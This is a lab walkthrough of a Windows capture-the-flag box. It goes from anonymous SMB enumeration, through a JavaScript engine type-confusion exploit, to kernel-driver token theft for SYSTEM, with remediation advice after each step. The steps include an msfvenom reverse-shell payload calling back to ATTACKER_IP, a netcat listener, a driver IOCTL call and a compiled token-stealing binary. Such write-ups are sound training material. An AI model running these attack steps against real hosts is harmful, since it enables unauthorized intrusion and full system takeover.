← all walkthroughs

ReaperTwo

Windows· Insane· Privilege Escalation
owned
2026-10-27
time to own
26m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated the target's exposed IIS, SMB, RPC, and RDP services and used a guest-accessible SMB share to pull a bundled JavaScript engine (d8) build along with a vulnerable kernel driver that the host's own IIS calculator page referenced. A memory-corruption bug in that JavaScript engine's handling of Set objects was used to gain arbitrary read/write inside the engine process, which was then leveraged to run shellcode and open a reverse shell as the low-privileged web service account (reaper2\www).

From that foothold, I talked directly to the same vulnerable kernel driver found on the share, which exposed unsafe IOCTL handlers that leaked kernel memory and allowed an in-kernel privilege-escalation chain to copy the SYSTEM process token into my shell, yielding full NT AUTHORITY\SYSTEM control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceAnonymous/guest SMB share enumeration (MITRE T1135 — Network Share Discovery)
Enumerated exposed services and discovered an anonymous-readable SMB share
A full-port scan of the host found IIS on port 80, SMB on 445, RPC on 135, and RDP on 3389. The SMB service accepted an unauthenticated guest session and exposed a 'software$' share containing a release build of a JavaScript engine (d8.exe) with its snapshot blob, a debug build of the same engine, and a custom Windows kernel driver (Reaper.sys) — development artifacts that should never have been left reachable from the network.
Nmap showed 80/tcp IIS, 135/tcp RPC, 445/tcp SMB, 3389/tcp RDP; guest SMB session listed and downloaded the software$ share contents including d8.exe, snapshot_blob.bin, and kernel/Reaper.sys.
Exact commands 4
shell

Full TCP port sweep.

$ nmap -p- --min-rate=1000 $TARGET
shell

Service/version detection on the discovered ports.

$ nmap -sC -sV -p80,135,445,3389 $TARGET
shell

Confirm guest access and list shares.

$ nxc smb $TARGET -u guest -p '' --shares
shell

Browse software$ and pull d8.exe, snapshot_blob.bin, and kernel/Reaper.sys for offline analysis.

$ impacket-smbclient -no-pass guest@$TARGET
FixRemove anonymous SMB access and stop exposing internal build artifactsHigh
WeaknessThe 'software$' SMB share allowed anonymous/guest access and hosted internal development artifacts — the exact JavaScript engine build and kernel driver later used to compromise the host — and the public web page documented the internal command line used to run them.
FixDisable the guest account and anonymous/null SMB sessions, require authentication for all shares, remove development/debug artifacts (engine binaries, driver files, snapshot blobs) from any share or web-reachable path, and strip internal tooling details (invocation commands, flags, file paths) from public-facing pages.
2ReconnaissanceInformation disclosure of an internal tool invocation via a web front-end (CWE-200)
Identified the exact vulnerable JavaScript engine invocation from the website
The IIS site exposed a 'calculator' page that documented the precise command line used to run my own scripts against the bundled engine, including the harmony-flag set required to reach the vulnerable code path. This told my exactly which engine build and feature flags to target with a local exploit before touching the live host.
Site page documented: d8.exe --allow-natives-syntax --harmony-set-methods data.js, matching the engine pulled from the SMB share.
Exact commands 1
shell

Review the calculator page for the documented engine invocation and flags.

$ curl -s http://$TARGET/
3Exploitation (Foothold)Type confusion in a JavaScript engine leading to memory corruption and native code execution (CWE-843 / MITRE T1203 — Exploitation for Client Execution)
Exploited a type-confusion bug in the JavaScript engine's Set implementation for code execution
The engine build on the share contained a known memory-safety bug in its handling of the proposed Set.prototype.symmetricDifference method: mutating a Set while it is being iterated by another Set causes the engine to misjudge the backing array's type, letting a script read and write memory it shouldn't be able to touch. I used this to build a fake JavaScript object that gave arbitrary memory read/write, then used that primitive to overwrite a function pointer inside a WebAssembly module so that calling the module ran my own shellcode (a reverse shell) instead of WebAssembly code. The shellcode connected back to my listener on port 9001 as the IIS service account reaper2\www.
Reverse shell connected from $TARGET to my ncat listener on 9001; whoami in the resulting shell returned reaper2\www; user.txt read from C:\Users\www\Desktop\user.txt.
Exact commands 5
shell

Generate the reverse-shell payload to be run through the WebAssembly execution hijack.

$ msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=9001 -f raw -o shell.bin
shell

Run the Set type-confusion exploit script (builds the fake-object r/w primitive, patches a WebAssembly jump table, and triggers the payload) against the pulled d8 build; re-derive object layout/offsets against this build before firing at the live target.

$ WINEDEBUG=-all wine d8.exe --allow-natives-syntax --harmony-set-methods exploit.js
shell

Catch the resulting reverse shell.

$ rlwrap nc -lvnp 9001
shell

Prove foothold identity before reading the flag.

$ whoami
reaper2\www
shell

Read the user flag — replace output with <user.txt>.

$ type C:\Users\www\Desktop\user.txt
FixPatch the JavaScript engine and remove browser/engine exposure from the trust boundaryCritical
WeaknessA known memory-safety bug in the bundled JavaScript engine's Set handling (reachable via the --harmony-set-methods flag) let an externally supplied script corrupt engine memory and execute native shellcode.
FixUpdate the JavaScript engine to a version with the type-confusion fix applied, disable experimental/harmony flags in any production invocation, and never expose a script-execution feature that runs an unauthorised user-influenced JavaScript against an engine build reachable by untrusted users.
4Privilege EscalationInsecure kernel driver IOCTL interface allowing unprivileged MSR read (MITRE T1068 — Exploitation for Privilege Escalation)
Abused unsafe IOCTLs in a custom kernel driver to leak kernel memory
The www foothold could reach a custom kernel-mode driver installed on the host (device \\.\Reaper) directly — no lateral movement was needed. The driver accepted IOCTL requests gated only by a hardcoded 'magic' value, with no check that the calling process should be allowed to use them. One IOCTL let any caller read an arbitrary CPU model-specific register, which was used to read the kernel's syscall-entry pointer and calculate the kernel's base load address.
Driver device \\.\Reaper accepted IOCTL 0x803 (READ_MSR) gated by magic value <withheld>; reading MSR 0xC0000082 (LSTAR) and subtracting a fixed offset yielded the loaded kernel base.
Exact commands 2
shell

Locate ROP gadgets in the matching kernel image (pulled/identified from the target build) for the escalation stage.

$ ropper --file ntoskrnl.exe --search "pop rcx"
shell

Call the driver's MSR-read IOCTL with the required magic value to leak LSTAR and derive the kernel base.

$ DeviceIoControl(hDevice, 0x803 /*IOCTL_READ_MSR*/, &req, sizeof(req), &out, sizeof(out), &ret, NULL)
FixRemove the vulnerable kernel driver and enforce caller authorization on all IOCTLsCritical
WeaknessThe custom Reaper kernel driver exposed IOCTLs (register read, write-adjacent scheduling control) gated only by a static, reversible magic value rather than genuine access control, letting any local process leak kernel memory and ultimately steal the SYSTEM token.
FixRemove the driver from production systems; if kernel functionality is required, have it checked for memory-safety and access-control issues (static analysis plus a code audit), require IOCTL callers to be verified via proper ACLs/privilege checks rather than a hardcoded magic constant, and apply Driver Signature Enforcement/HVCI to block unsigned or unauthorized kernel code.
5Privilege EscalationKernel driver memory-write primitive abused for token theft (MITRE T1134.001 — Token Impersonation/Theft)
Used a second unsafe IOCTL to gain a kernel write primitive and steal the SYSTEM token
A second IOCTL in the same driver allowed the caller to influence thread scheduling state in a way that, combined with the leaked kernel base, could be chained into a controlled write into kernel memory. I used this write primitive to mark my own page as kernel-accessible and then run a small escalation routine that copied the access token of the SYSTEM process (PID 4) into my own process, before returning control cleanly. This upgraded the www shell to NT AUTHORITY\SYSTEM.
Whoami after running the compiled escalation binary returned NT AUTHORITY\SYSTEM; root.txt subsequently read from C:\Users\Administrator\Desktop\root.txt.
Exact commands 4
shell

Cross-compile the token-stealing escalation binary for the target build (derive gadget offsets against the pulled Reaper.sys first).

$ x86_64-w64-mingw32-gcc -o priv.exe escalate.cpp -lpsapi
shell

Run from the www foothold shell to trigger the IOCTL chain and steal the SYSTEM token.

$ priv.exe
shell

Prove SYSTEM access before reading the root flag.

$ whoami
NT AUTHORITY\SYSTEM
shell

Read the root flag — replace output with <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt

Exposed services

80/tcp
135/tcp
445/tcp
3389/tcp